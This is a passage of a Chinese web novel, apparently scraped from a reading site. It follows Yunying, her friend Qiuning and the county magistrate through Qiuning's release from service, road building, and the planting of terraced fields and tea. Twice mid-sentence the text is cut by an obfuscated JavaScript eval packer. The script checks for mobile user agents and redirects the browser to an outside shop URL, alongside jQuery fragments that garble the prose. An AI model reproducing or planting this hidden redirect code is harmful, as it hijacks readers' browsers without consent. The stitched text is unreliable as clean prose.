但是,“秋宁,我们的卖身契并不在二爷手上,而是在二夫人手中。二爷即便有心放你自由,但你没有卖身契,就依旧不是自由身。” 秋宁微颔首,“这个我知道。” “那你还……” “没关系啊。反正我也不准备离开云归县。我只是要离开县衙,出去找点事情做罢了。我可没准备离开你身边,背靠大树好乘凉的道理我比你明白,在我没有安身立命的本事之前,我不会离你太远。我的意思是,我先把赎身银子拿出来,让二爷放我出去,至于卖身契,二爷什么时候给我要回来,我就什么时候脱籍呗。” “你是这样打算的?” “对啊。”秋宁点头,“我思来想去,只有这么做才最周全。反正就先离开县衙找点事情做,至于脱籍,晚一些也没什么不好。这样我还可以扯虎皮做大旗,以后谁敢欺负我,我就把我是县衙的人这个幌子扯出来,保准把那些想占我便宜的人都吓死。” “我都打算好了,也都决定好了,云莺你就帮我给二爷说一声,让我出府吧。至于赎身银子,我总共就这么多,再多真的没有了。” 云莺就说,“我可以去替你说一声,让二爷放你离开。但出府后你打算做什么?还有,你说你把所有银子都拿出来赎身了,那你以后吃什么、用什么、住哪里?秋宁,你得做好所有打算,我才好去替你说情,不然贸然让你离开县衙,那是在害你。” 秋宁说:“我还留着十两银子呢。你别说我藏私啊云莺,我总要保证我今后两个月的生活。” “我不怪你,你继续说。” “我是这么打算的,现在县里不是正在修路么。我准备出府后就找个小院住下,然后做了糕点拿出卖给那些监工的官员。” 云莺以为自己听错了,“你……卖糕点?” “那怎么了?我卖糕点也是凭自己的手艺吃饭,不丢人的。只是我长这么美,怕是走出去会招人眼,到时候免不了有些不长眼的对我动手动脚。不过,他们最好别起坏心思,不然,姑奶奶也不是吃素的。” 云莺捂着额头,“可是秋宁,你做的糕点是不错,但我觉得,卖出去的可能性不太大。” “为什么?这边的人太穷了么?可我瞄准的都是一些官员,难 道那些官员也买不起么?” 云莺:“……即便他们能买得起,但是总共也买不了多少吧?我感觉你卖包子馒头,指不定都比卖糕点挣钱。指望你卖糕点养活自己,这不现实。” 秋宁想问,怎么就不现实了? 她的手艺好的很,糕点也做的好,加上她长得美,在她的预想中,她的糕点应该很畅销才对。 但是,云莺既然说她的想法不现实,那应该也是有原因的。 毕竟,云莺前段时间整天跟着二爷出门,市井百态,民俗民生她全看在眼里。云归县到底是个什么情况,百姓的消费水平又在哪里,云莺比她清楚的多。 她说不可以,那肯定是这门生意,真没什么赚头。 秋宁郁闷了,“那怎么办呢?我总共也就这一个本事。不能去卖糕点,我还凭什么本事谋生?” 云莺也为秋宁发愁,她一时间也想不出什么好主意来。 云莺只能说,“你先回去吧,我先和二爷说说你离府的事儿,看二爷能不能给你个好的去处。” “让二爷给我安排么?” “我去问问,不过你先别抱太大希望。” “那真是太好了云莺。给,给,这些银子你全拿去,二爷要是觉得我赎身银子给的少了,你也帮我说几句好话。大不了等我以后赚了银子,再给二爷补上。” 云莺没理秋宁这话,她将秋宁的荷包拿过来,又将桌上那堆碎银子装进去。 “唉,云莺你做什么?这银子是给二爷的,不是给你的。” “难道二爷在你心里,就是那样斤斤计较的人?你这点银子,还是留着当你的私房吧,二爷手中有钱,不缺你这三瓜两枣。” “可是,可是……” “没什么可是的。你先拿回去,若需要,大不了我先给你垫上。” “云莺你可太好了。” 秋宁激动的抱着云莺,恨不能在云莺怀里撒个娇。 云莺对秋宁是有些歉意的,但秋宁能离开,她又打心底里觉得高兴。 她就轻拍了秋宁两下,“这事儿成不成还不一定,你且等我与二爷说一说。” “那你现在就去,云莺你快点去寻二爷。” 云莺没准备今天去寻二爷,因为之前接二连三的闹出蠢事,她至今想想那画面都有种窒息感。 那天她还胆大包天将二爷推到了门外,还当着他的面,将门关的死死的。 二爷没有迁怒她,但是想想那时候尴尬又张狂的自己,云莺依旧不自在。 但云莺那点力气,在秋宁跟前根本不够看。 秋宁不过用了三分力,就将云莺推出了门。 云莺无语,“你好歹让我换身衣裳啊。” “不用换,你身上这身就很好看。再说了,不管你什么模样,在二爷眼中都是美的。你快去吧,不然一会儿天更热,你更受罪了。对了,披风……” 云莺扭头就往外走,“ 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“我有什么不同意的,她在县衙也是闲人一个,她想离开我放她离开就是。不过……” “不过什么?”云莺提着心问。 “不过你素来与她要好,若秋宁离府,你不是就少了一个说话的人?以后你孤零零的住在后院,怕是要觉得孤单了。” 云莺侧过脸去,“也没有多孤单啊,后院还有好多丫鬟婆子呢。再说了,我也很忙的好不好?不是给二爷盘账,就是忙着打理梯田。我本来还准备弄茶山呢,现在茶山出了金矿,我忙不成了,但我之后肯定还会置办别的产业,到时候我说不得比二爷还忙。那时把秋宁自己留在府上,她才是真的可怜。” 云莺又看向二爷,“所以,二爷放她离开好不好?” 二爷嗓音喑哑的说,“好。” “那赎身银子……” 二爷笑了,睨笑着看着云莺,“你这寒碜谁呢?” 云莺闻言,也忍不住垂首低低笑起来,“那我就代秋宁谢过二爷了。还有一事……” “什么事儿?” “就是,秋宁不是要出去么,可她也不知道出去 以后能做些什么。我就想问问二爷,你可知道有什么好去处没有。也不图长久的安稳,就是先让秋宁过度一下。她是想自己租个小院儿卖糕点谋生的,但我觉得这个想法不现实。” 二爷还真用心思索起来,片刻后说,“去处么,我这里还真有一个。” “做什么的?去哪里做活啊二爷?” 二爷见云莺凑上前来,她巴巴的看着他,一双杏眸明媚莹润,里边只倒影出他一个人的影子来。 二爷轻咳了咳,“我准备收些鱼虾之类的干货,让人运到西北去卖。这事儿是县衙起的头,管事儿的人自然也是县衙的人。管事的我已经找好了,如今还缺一个监工。” 云莺眼眸一亮,“二爷觉得,这事儿秋宁能做?” “应该能做,她不是最泼辣不过么?听说还为你打了一架,将那木槿的衣裳都扯烂了。” 云莺讪讪的摸摸鼻子,这还是她摔倒那天晚上的事儿。二爷竟然连这个都知道,可见这府里根本没有什么事情,能真的瞒过二爷的耳目。 不过二爷说的这差事倒也不错。 当监工么,不用做粗活重活,倒是自在的很。只是免不得要和许多人打交道,还要提神盯着有无人贪污,有无人以次充好,换句话说,这是个不讨好的活儿,但泼辣的秋宁绝对能干。 “但是,收干货的地方,有女眷么?” “有。届时男女都会招一些,还会给准备住宿的地方。只要秋宁不嫌弃那活儿埋汰,这监工就让她来干。” 埋汰什么的,收干货的地方都是鱼腥味儿,那肯定有些埋汰。 但秋宁又素来爱美…… 考虑到这点,云莺就没一口应下此事,而是和二爷说,“那我回去问问秋宁的意思,若是她同意,我再来回复二爷。” 第116章 修路 说完秋宁的事儿,云莺给二爷行了礼,转身就要走。 二爷见状,忍不住咬了咬牙,“你还真是,用人朝前,不用人朝后。” 云莺闻言,立刻顿在了原地,微微赧然起来。 “我这不是,急着回后院把这个消息告诉秋宁么。” “让她等着,总归也不是什么大事儿。” “在您看来不是大事儿,但在秋宁看来,却是攸关她前途命运的事儿。她挺在意的,现在还在我院子里等着呢。” “那就让你的小丫鬟去给她送个信,你先留一留。” 云莺捏了捏帕子,抬眸觑一眼二爷,“我留下做什么?二爷还有别的什么吩咐么?” “吩咐到没有。只是县衙的路已经开始修了,难道你就不想出去看一看?还有你最先造的那块梯田,已经郁郁葱葱长满了幼苗,你不去瞧瞧么?” 二爷如此一说,云莺怦然心动。 她忙不迭点头,“要去要去。” “那就让你的丫鬟往后院传句话,你跟我一道出门。” 云莺忙不迭应下来,随后将从二爷这里得到的消息告诉穗儿,又让穗儿跑去后院将消息递给秋宁。 打发走了穗儿,云莺就和二爷一道往门外走。 二爷问云莺身上的摔伤好了没有,云莺就说,“差不多好全了,只是还有些淤痕,但不疼。想来也就这两天功夫,那淤痕就会消失。说来还要多谢二爷给我的药膏,那药膏挺管用的,要不然我不能好这么快。” “好用你就继续用,若用完了,我再托人从京城送些来。” “那倒不必。之前姚神医留下的药膏也挺有用的,只是许是用的药材没那么好,就没二爷给的药膏效用大。但也能用,日常若是磕了碰了,用姚神医留下的药膏也挺好的。” 两人说着闲话,就到了门口。 门口只有一辆马车,却不见二爷惯常骑的那匹马。 云莺见状,不免讶异的看一眼二爷,二爷却没解释什么,而是一把握住她纤细的腰肢,微一用力就将她放在了马车车辕上,他自己也随即上了马车。 马车启动,碾过青石板往街上去了。 云莺犹且觉得腰肢上的力道让人发疼,那炽热的温度也似透过薄薄一层衣衫,熨烫到她心间。 她掀开窗帘往外看,期望那微不可见的清风能让她的面颊降一降温,但是,好像没什么作用。 马车很快走到大街上,又很快走到城门口。道路就是从这附近开始修的,而距离城门口越近,那边的动静就越大。 吆喝声、嘶吼声,还有玩笑声,闹哄哄的,好似聚集了千军万马一样。 二爷说,“你别下车了,前边又是砂石木材,又是石板泥坯,灰尘还特别大。你身子还没恢复好,来回上下车也折腾,就透过车窗往外看看吧。” 云莺赶紧说“好”。 让云莺别下去,二爷自己却下了马车往前边去了。 云莺看着二爷颀长挺拔的背影,忍不住摸摸自己的面颊。 还有些烫,但应该不红了,她应该没有太失态。 不远处传来惊叫声,以及众人给二爷见礼的声音。 云莺赶紧收回跑远的注意力,往城门处看去。 果然就如二爷说的那样,如今道路上乱糟糟一团。道路都被挖开了,建材之类的东西堆得到处都是。又有数不清的壮丁在其中做工,人挤人,物挨物,简直都没下脚的地方了。 再说二爷今天穿的简单,不过是一身青色的常衫,并一顶家常用的玉冠。 但他容貌出众,气度矜贵雍容,打眼一看,就给人一种气势凛然,清贵疏冷之感。 能有这种姿容仪态,整个云归县也就一个县太爷。 也是以,都不等二爷走近,一众百姓就噗通噗通都跪下了。 二爷说了什么,云莺听不见,因为距离实在有些远。 但那些修路的百姓随后站起来,看向二爷的目光也满是钦佩与激动,可见,二爷应该是给了他们甜枣吃。 云莺的视线从二爷身上移开,又看向别的方向。她就看见了一口非常大的锅正在冒着热气。灶台下火焰熊熊,一股清淡的绿豆香味儿扑鼻而来。 这莫不是熬得消暑的绿豆汤? 云莺又在人群中看见一个熟悉的孩童。 可不正是那日在县衙中,指证如珠指使他买桐油的那个孩子么? 在一群穿着短褐,打着赤膊、干柴枯瘦的男人中,陡然冒出一个七八岁的孩子来,这场面是挺滑稽可笑的。而那孩子还跟着一道做苦力,这就更让人忍不住多看几眼。 二爷应该也是注意到那小豆丁,就招手将他唤了过去。 那孩子倒是胆大的很,摸一把脸上的汗珠,将手上的汗珠往衣衫上一擦,颠颠的便跑向二爷。 二爷与他说了什么云莺自然也没听清楚,但那孩童很快对着二爷又叩又拜,然后爬起来就跑到随雨跟前去了。 随雨在他肩头拍了两巴掌,那孩子笑的哈哈的。 云莺又看向围观的百姓。 云归县治下的屋头山发现了“铜矿”的事情,已经传的街头巷尾众人皆知。 为挖 矿和运输铜矿,县里决定将县城到屋头山的路修一修,这也是官府张贴告示告知百姓的事情。 说实话,十多年前县城也都是清一色的石板路,可就因为村民愚昧无知、麻木无情,在尚家倒台后,他们或是出于与尚家划清界限的心理,或是觉得昔日高高在上的贵人沦落到尘埃中,他们终于可以踏在他们的尊严上肆意欺辱他们。一众百姓竟然疯狂的,将街上的石板路通通挖出,捣碎丢到河里去了。 那时做这件事情时,他们很畅快。然时过经年,每天都要走泥泞不堪的土路,下雨下雪天,更是要提防随处会有的坑洞,那种落差感,真是想想都让人心酸。 但再怎么心酸也晚了,石板早就沉到了河底,想捞也捞不出来了。 如今县里再一次修路,百姓们纷纷从家里跑出来。 有那激动的,在路修到他们家门口时,更是全家齐上阵,一道给修路的壮丁帮忙。只求这段路修的好一些,最好能生生世世都不坏。 鉴于此,街上当真热闹的很。但热闹之下,也有一些小偷小摸…… 云莺就看见一个年纪很大的老太太,偷偷往自己裤袋里塞了好几把砂石……然而,还没等老太太走多远,她就被附近的百姓举报了。于是,砂石留下,老太太灰头土脸被街坊邻居骂的狗血喷头。 云莺看了好一场热闹,看的目不转睛,都没注意到二爷什么时候回来了。 二爷唤了一声“云莺”,云莺这才回了头,讶异的看着二爷说,“您这么快就回来了?事情都交代好了么?” “都交代过了。你是想继续在这儿看看,还是咱们去梯田?” “去梯田吧。大家干的热火朝天,我在这儿干看着不干活,有点心虚。我还是离远一点,去干点正事吧。” 二爷眉眼中晕染上笑意,“也好。” 马车掉转头,就从另一个城门出了城。 路上,云莺问二爷,他与之前指证如珠的那哥小子说了什么。 二爷倒不意外云莺看见了那画面,他本也没背着人。 二爷就说,“那小子机灵,我让他先跟在随雨身边打下手,之后若可能,让他跟在我身边。” “跟在您身边?” 二爷颔首,“那孩子叫苏明良,是个孤儿。他过目不忘,且很有几分聪明。” 二爷那天处理了木槿与如珠后,就示意墨雪去查查苏明良的底儿。 倒是好查的很,毕竟这小子父母长辈全死了,他就住在破庙中,整天靠帮人跑腿儿,挣一块干粮、半个馍馍谋生。 可以说,整个云归县就没有他不知道的地方。而这小子能将自己养活这么大,可见他确实是有几分本事的。 “很难说那次如珠请他帮忙,到底是凑巧,还是苏明良有意为之。不过这小子聪明劲儿有,只是太聪明外现。先让他跟在随雨身边练一练,若得用,到时候来我跟前伺候。” 二爷默了默,又道,“若遇到好先生,送他去读书也未尝不可。这小子在私塾外偷听,学会了不少东西。他聪慧,且过目不忘,那些经义文章他全记在脑子里,书读的比那些正经上私塾的学生还要好。若真只让他做个小厮长随,倒是有些耽搁他了。” 这话云莺就不认同了。 “二爷此言差矣。做二爷的小厮长随怎么就耽搁他了?随云雷霆他们不也是您的长随么?可他们还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616648|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在县衙担着要职。之后您高升,您指定也会给他们安排新的职位。他们只需要听您吩咐,就能有好的前程,到省的自己筹谋了。这在我看来,也没什么不好的。” 二爷本身就出色,切他背后还有荣国公府这座靠山,他还有佟阁老这个恩师,以及无数的师兄弟。 若是依靠了二爷,二爷有的人脉和资源,自然不会吝啬给他身边人使用。反之,就要自己奋斗,努力出头。 那条路是捷径,那条路更容易成功,都不用云莺说,但凡长眼睛的人都知道。 二爷听了云莺这话,眸中划过一道流光,“你说的也有道理。” “是非常有道理好不好?不过送苏明良去读书也是一个出路。若这小子能考个名堂来,二爷您就是他的伯乐,到时候他肯定唯您马首是瞻。” 二爷轻笑出声,“你倒是挺看的起他。” “这不是您说他聪慧机灵,过目不忘么?他这么好的天分,指不定真能中状元。” “若他真能中个状元,那更好。他总归是土生土长的云归县人,若他有了功名,也能打破世人对岭南一地惯有的认知。” 两人又说起修路的事儿,云莺想起那口冒着滚滚白烟的大锅,“里边煮的绿豆汤么?” “是。天太热了,修路又是苦力活,壮丁们个个汗流浃背。绿豆汤既解暑又解渴,也花费不了几个钱,就每天几大锅的熬着。” “那些壮丁,都是从附近村落抽取来的百姓么?是免费做工,还是有银钱拿?” “是附近村落的百姓,但不是官府抽取来的,是他们自愿报名来做工的。做工自然也不是做白工。” 因为做的是苦力活,官府每天管三顿饭。不是什么好饭,就是粗粮馒头,每人每天给十个馒头。另外,一个月还给二两银子。 这待遇,好的没谱了。 告示才发下去,来报名的人就排成了长龙。到了第二天,人更多,几乎十里八乡的壮丁都跑过来了。 也是因为现在不是农忙季节,田里的活也不大,仅限于除草和灌溉,一般的妇女也能做。再加上想尽快开始挖矿,是以,来报名的人几乎都收了。如此,道路分段开修,想来顶多只用一个月时间,就能将从县城到屋头山的路修通。 “只是因为要人要得急,这些人就良莠不齐,不仅是砂石常被偷,就连备好的木梁,也有被偷走的。” “那怎么办?” “让众人互相监督,谁若发现他人偷盗,可多领一两银子。” 云莺点头,“这样也好,就可以好好杀一杀这股不正之风了。不过,等忙完这一段时间,二爷还是应该把德行教化的事儿抓起来,这云归县的百姓,总归是有些刁滑的。” 二爷看她一眼,“只是刁滑么?不应该是狡诈、懒惰、凶恶、阴险……” 云莺打哈哈,“倒也没有这么穷凶极恶……说来说去,都是穷闹得。若是日子好过了,谁会去偷去抢?怕是你把一块儿糕丢在她门口,她都懒得去捡。” “若真有这一日,就大好了。” 走过一片密林,恰好一阵清风吹来。凉风习习,树叶被吹得哗啦作响。 远处青山迢迢,绿水叮咚,山花烂漫,蜂蝶齐飞,当真是一副盛夏美景。 只可惜,走在期间的百姓皆衣衫褴褛,面容干枯蜡黄,人也形销骨立,尤如几幅骷髅架子。 云莺叹气,“没粮吃,没衣穿……粮食还好说,二爷让人开荒了,我也造了梯田出来,想来总有一日百姓家能吃上干饭。可这布,我们能自己组织织娘织布么?” 二爷摊摊手,“这事儿,你来做吧。” 云莺想问,为什么是我? 可她又想,二爷手中的活儿已经很多了。县衙的公务他要忙,养珠的事情他时刻关注着,再有修路的事情刚开始,而最大头的金矿更是需要二爷随时盯着。 二爷当真忙的分身无暇,反倒是她,还有余力。 且织布一事免不了与织娘打交道,那都是女眷,二爷出面还没她出面好沟通。 如此,不如她将这件事揽过来? 云莺越想越觉得此事可行。 她之前准备弄茶砖茶饼的,可计划没有变化快,如今茶砖茶饼和茶叶的买卖都做不成了,不如她就开始倒腾倒腾布料? 第117章 先赏你 云莺打定了主意,以后要往纺织方面使使力。 但纺织是她从没接触过的行业,她完全就是一个门外汉。免不了回头多找找这方面的书籍和匠人,做好了万全的准备再开工。 在事情还没谱之前,还是先别告诉二爷了。 省的跟茶山似的,她都和二爷说了要弄茶饼、茶砖,甚至到时候如何将东西贩卖到西北边城都想好了,结果,一个金矿砸下来,一切打算都落了空。 这次云莺可吸取教训了,在事情没有万全的把握之前,她是不会再对任何人说了。 云莺看向车窗外,估摸了一下时间,觉得距离她建造的第一块梯田应该不远了。且周边的景色也熟悉起来,应该就快要到目的地了。 云莺正想和二爷说说这事儿,却突然看见一个略熟悉的身影。 她忍不住“咦”了一声,拉扯着二爷的袖子,让二爷往她这边看。 “什么?”二爷的吐息近在耳侧,淡淡的纸墨气息与沁凉的檀香味儿也扑了过来。云莺心尖一抖,耳朵一跳,微微避开了些。 “二爷,您看在那人是不是李大柱?” “李大柱?” “就是那个偷驴案的苦主啊,状告潘兴的李大柱,您忘了?” 二爷自然没忘,但他每天要见不少人,要处理不少事儿,每天有许多事情压在心头,李大柱又不是什么太重要的人,二爷第一时间就没有想起他。 不过经云莺一提,二爷倒是认出来此人。 他微颔首,“是李大柱。” “他们一家子在山上做什么?我看他们还拿着犁耙,他们该不会也想弄个梯田吧?” “有这个可能。” “可这座山不太合适啊。太陡峭了,到时候暴雨太大,容易滑坡和水土流失。” 二爷说,“我们过去看看。” 车夫听到他们的对话,驾着车就走到了山脚下。 那厢李大柱一家人也看见这辆马车朝他们驶来,他们俱都停下劳作的动作看过来。 等二爷与云莺先后下了马车,李大柱认出了其中一人是县太爷,忙将手中的钉耙往地上一丢,带着两个儿子就火速跑了下来。 到了跟前,父子三人忙见礼。 二爷喊人起来,又问他们,“可是在弄梯田?” 李大柱颤颤应,“是。” 李大柱那小儿子相对机灵些,就多解释了一句,“不止是我们,周边不少百姓都跟着弄。云莺姑娘之前造的那座梯田,其上的旱谷长得很好,不出意外,今年指定有大收成。村里的老庄稼把式说了,比在荒地上的收成还要多。” 荒地不好开,关键是从县太爷年前发了开荒的诏令后,如今好地段的荒地都被大家开完了。剩下的也就是些小地块,或是太过荒僻,以及距离家里和水源太远的。 开了那样的荒地,仔细算起来,还不如在荒山上造梯田来的划算。 买荒山固然需要银钱,但又不多,且即便拿不出那部分银钱,也可以用每年的一部分收成来抵债。 关键是,荒山比荒地的优惠还大。官府减免前五年的税收,荒地才减免三年。 所以,一家人商量来商量去,最终还是决定买荒山,在荒山上造梯田。 “可这荒山太陡峭了,到时候辛苦一场,能耕作的面积有限,且劳作难度也大。而且,一旦暴雨,水土流失严重,有些不划算。” 李大柱也认出来,眼前这位仙女似的人物,就是最先造梯田的那位云莺姑娘。 他挠挠头,憨憨的说,“俺也听人这么说了,可俺婆娘不死心,非得让俺弄弄试试。” 云莺失笑,“您家不是祖传的木匠么?如今木匠的活不好做么?”不然怎么不好好给人打门窗、做箱子凳子,反倒跑来造梯田了? 李大柱说,“好,好做。只是……” 只是大家伙都买荒山,他们若不买,就感觉有什么便宜大家都占了而他们没占,那不亏得慌么? 所以,明知道这荒山不适合造梯田,他们还是硬着头皮买了,且如今一家子都跑到了荒山上劳作。 云莺听明白了李大柱这意思,登时哭笑不得。 这还真是……让人无话可说。 可这到底是二爷治下的百姓,他们有再多的劣根性,她也不能眼看着他们白白投入这么多精力体力,最后还什么都落不着。 云莺想了想说,“这山坡确实不适合造梯田,不过既然你们已经开始造了,那就继续吧。但上边不适合种旱谷,水稻也不合适,你们若相信我,可以在山上种茶树。” 夫子三人面面相觑,“种茶树可以么?” “可以。就我所知道的,也就茶树能在陡坡上生存。其余的,不管付出多少努力,怕是也不会有多大收成。” “好,好,我们回家就商量商量。” 别过了李大柱一家,云莺上了马车后问二爷,“县衙最近卖出去多少荒山?” 这个问题还真把二爷问住了,这些天他尽顾着忙金矿的事情了,荒山这些不值钱的东西,他还真没在意过。 二爷说,“等回头我问问随云,再告诉你。” “怕是这周边的荒山,能卖 的都卖了吧?你看那边,是不是也有人在山上劳作?” 二爷一看,“还真是。” 两人距离很近,可此时,他们都心无杂念。因为这件事情若处理不好,可是会引起民怨的。 虽然云莺在很早之前,就告诉过大家,造梯田的荒山坡度不能太陡,可谁知道这话传来传去传成什么样子了。 云莺就看着二爷说,“回头让人专门跑一趟吧,和这些百姓说说,造梯田可以,但是不能种旱谷和水稻,要中就种茶树,到时候他们的茶叶我来收。” 二爷看云莺咬牙切齿的模样,取笑她,“你这是要和茶叶杠上了。” 云莺幽幽的看一眼二爷,“你还好意思说这话,我这么做都是为了谁?” 这句话一出口,空气陡然安静。 云莺心跳扑通扑通的,她难为情的扭过头去,有些暗恼自己嘴比脑子快。 她应该在嘴上安个把门的,不然心里怎么想的,一下就秃噜出来了。 她不要面子的么?她也是会不好意思的好么? 二爷喉咙微梗,看着她的目光深邃幽深,里边似藏了一只吞人的兽。 二爷伸出手,一把抓住了云莺的手腕,“云莺……” “是云莺姑娘来了么?哎呦,这天这么热,云莺姑娘怎么过来了?” 云莺一个激灵,手一抖,一下将二爷的手甩到了一边去。 她迫不及待的站起身,掀开车帘站到了车辕上。 马车下的人,可不正是县衙中专门管农事的那个小吏? 他被县太爷派来协助云莺造梯田,一开始也是心不甘情不愿。觉得这小姑娘怕是连韭菜与禾苗都分不清,就这还要造什么梯田,指定是在瞎胡闹。 可谁让县太爷被美人迷了眼? 他不想惹怒县太爷,只能硬着头皮来给云莺打下手。 和云莺接触几次后,这小吏倒是对云莺改观不少。 也是因为仔细推敲了这梯田的可能性,小吏就觉得,梯田也不是不可以试一试。 随着梯田逐步成型,小吏往梯田跑的更勤了。他甚至连县衙都不怎么去了,一天到晚就在那许多的梯田上转悠。 记录幼苗发芽的情况,记录各个梯田的优劣,琢磨可以改善的地方,对比那个类型的梯田模式最优。 小吏意识到,这梯田当真是于民有利的好东西。若此番梯田能获得丰收,云莺姑娘怕是要名垂千古。 而他,作为协助云莺姑娘改造梯田的人,必定也要在被写在县志上,为后人瞻仰敬佩。 小吏如今对云莺满心敬佩,看到这辆云莺出入乘坐的青帷马车,条件反射就觉得,应该是云莺过来了。 果不其然,云莺很快就掀开车帘走了出来。 但不知是不是小吏的错觉,他总感觉云莺姑娘的精神太过紧绷,神色也有些恍惚,一副做了亏心事、如临大敌的模样。 难道是云莺姑娘太担心梯田上的旱谷的长势了,所以才如临大敌? 但那么心虚,又是因为什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616649|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小吏还没思考出个所以然,就见面前的车帘再次掀开,从中走出一个再熟悉不过的男人来。 那么矜贵雍容,冷峻又威严,是县太爷没错了。 所以,方才云莺和县太爷一起呆在马车上? 那他……是不是坏了县太爷的好事? 再看县太爷此时的神色,虽然依旧平静无波看不出喜怒来。但县太爷微眯的眸子,微抿的唇角,总透着一股不善。 小吏缩了缩脑袋,往后退了两步才停下来,战战兢兢的给二爷见了礼。 云莺看小吏那惴惴不安的模样,再侧首看一眼二爷……好了,真相了。 她脸一热,想让二爷别吓人。但又忍不住回忆起,方才在车厢中,她的真情流露,以及二爷陡然抓住她的手腕。 云莺心中乱糟糟的,脸也变的更热了。 她现在连拯救自己都做不到,还是别提什么拯救别人与水火了。 云莺要跳下车,二爷却先一步下了马车,抱着她就将她抱了下来。 云莺想往他肩膀上拍,提醒他还有外人在。但她的手高高举起,最终却轻轻的放下。 “你怎么会在这里?梯田上的旱谷长势如何?” 还是二爷先打破了尴尬,找那记录梯田状况的小吏问话。 说起梯田,小吏别的心思全都抛在了脑后。 他张开嘴,叭叭叭说个不停。 原来,这山上被人找出了个泉眼。 有了泉眼,整座梯田的灌溉都简单起来。 也是因为水源充足,梯田上又放了许多腐土,以及从河里挖来的淤泥,也就是说,肥力是足够的。 水肥都充足,再加上看管的人非常用心,这梯田上的旱谷长势非常好。 小吏说,“那泉眼发现的太晚了,若是能早些发现,这梯田上是可以种水稻的。” 可都已经将旱谷播种在里边了,那泉眼才找了出来。总不好将旱谷的种子再挖出来,所以这一季只能先种旱谷。但是,等来年,这边完全可以种水稻。 小吏走在最前边,引着二爷与云莺上山。 二爷走在云莺前头,不时就回 头看她一眼,时刻注意着她的情况。 二爷还伸出手,在难行的地方,要拉一把云莺,却被云莺狠狠的瞪了一眼。 二爷挨了瞪,不仅没恼,面上的笑意反倒更浓了。 两人的“打情骂俏”小吏完全没注意到,他的注意力,全在这满山的郁郁葱葱里。 云莺也觉得这梯田上的旱谷长得好。 不仅苗碧绿,而且根茎看着就结实,这若是之后没极端天气,这座梯田上的旱谷指定要大丰收。 似乎已经看见了几个月后,满山都是金黄的谷穗,云莺的眼睛都眯了起来,浑身都弥漫着喜气。 这时候,她倒是能理解,为什么周围百姓都买了荒山造梯田了。 实在是眼前这个模板太成功了。 若是不跟着造梯田,就好似生生的错过了这满山的庄稼。到时候别人家白收了满山的粮食,他们却只能望洋兴叹,那想想都不能忍啊。 所以,在时间还来得及的情况下,赶紧买山,赶紧将梯田造出来。 二爷望着满眼的青绿,心情也是愉悦至极。 他对梯田是抱了希望的,如今,梯田比他预想中还要成功。 每家每户最少能多收几千斤的粮食,如此一来,何愁饥荒不能解? 二爷摩拳擦掌,已经在心里盘算着,要安排各乡镇的乡绅耆老来梯田参观。 说再多,他们都过耳不过心,那不过是白费功夫。 但二爷相信,若让他们亲眼看见这鬼斧神工的奇迹,想来都不用他再特意推着他们往前走,他们自己就会号召所有亲朋故旧,将梯田造出来。 二爷一把拉住了云莺的手,“若梯田能丰收,记你首功。” 云莺甩了两下,也没将二爷的手甩开。她说,“我造的梯田,当然要记我首功,不过别人的功劳二爷也不能忘掉,要论功行赏。” “好,先赏你!” 云莺:“……” 第118章 你为战利品 二爷是个行动力很强的人,他说是要带云归县治下的乡绅耆老来参观梯田,就真的给这些人送了信过去。 不过,云莺让人造的梯田并不只是这一块,其余还有好几十块。当然,长势肯定各有不同,但总体长势都还好,比耕作了几十年的良田都不在话下。 又因为二爷太忙了,他并不能陪同这些乡绅耆老将梯田都走一遍,二爷就将这件事交给了雷霆与墨雪。 这件事的后续如何,云莺也是知道的。 据说很多乡绅耆老看了梯田后,非常意动。他们也不是意动一天两天了,毕竟云莺造的梯田,遍布在各个村镇——一开始这么做,就是存了之后好推广的打算。 事实上,自从梯田上的作物蹭蹭蹭长起来后,各村镇的百姓有意无意都要过去看一看。 但因为梯田上的庄稼还都在生长状态,谁也不能保证长得好,就能结的好,是以,大家都在观望,还没有入手荒山。 这一趟官府组织的参观行动后,那些乡绅耆老再也按捺不住了。 因为距离李大柱家最近的那处梯田,长势太好了。只要是长眼睛的人都能看出来,那梯田今年指定要大丰收的。 有了成功的例子在前,其余一些荒山更好卖出去了。 他们若还不出手,只能干看着别人先捡好的选。 届时,别说什么能种植水稻的荒山了,怕是能种茶树的荒山都不剩一个了。 也是因为这种潜在的担忧,那些荒山以一种非常快的速度卖了出去。 云莺在无意中,竟然为县衙创了收。 “之后呢,他们买了荒山,是先让荒山就这么荒着,还是这就开始耕作了?”若是耕作,这一季庄稼种什么好呢?反正不管是种旱谷还是水稻都来不及,总不能就这么空着吧? “那不然呢?” 二爷说,“现在各村镇的青壮都在修路,各家各户都没有多余的人手去造梯田。女人的力气到底是有限的,一些粗重的活计,还得让男人来干。” 云莺却不认同这个说法,“那是因为农具没有到位。若是有了锋利的农具,根本用不到男人,女人也可以开荒造梯田。” 二爷听出云莺的不服气,就笑了,“我并没有贬低女眷的意思。事实上,女眷并没有比男人少做什么。只是男女分工不同,她们确实在力量上逊色一些罢了。” “你还说。” “好,好,我不说了还不行么?” 二爷又说起那些在家伺候田地的女眷,“她们没办法开荒,但也没闲着。我之前去各村镇转了转,发现大家都在捞河里的淤泥,想用来肥田。有的则清理荒山上的草木,弄成草木灰在山上撒一遍。” “那得让人紧盯着,可别一不小心弄出火灾来。” “已经提醒了。” 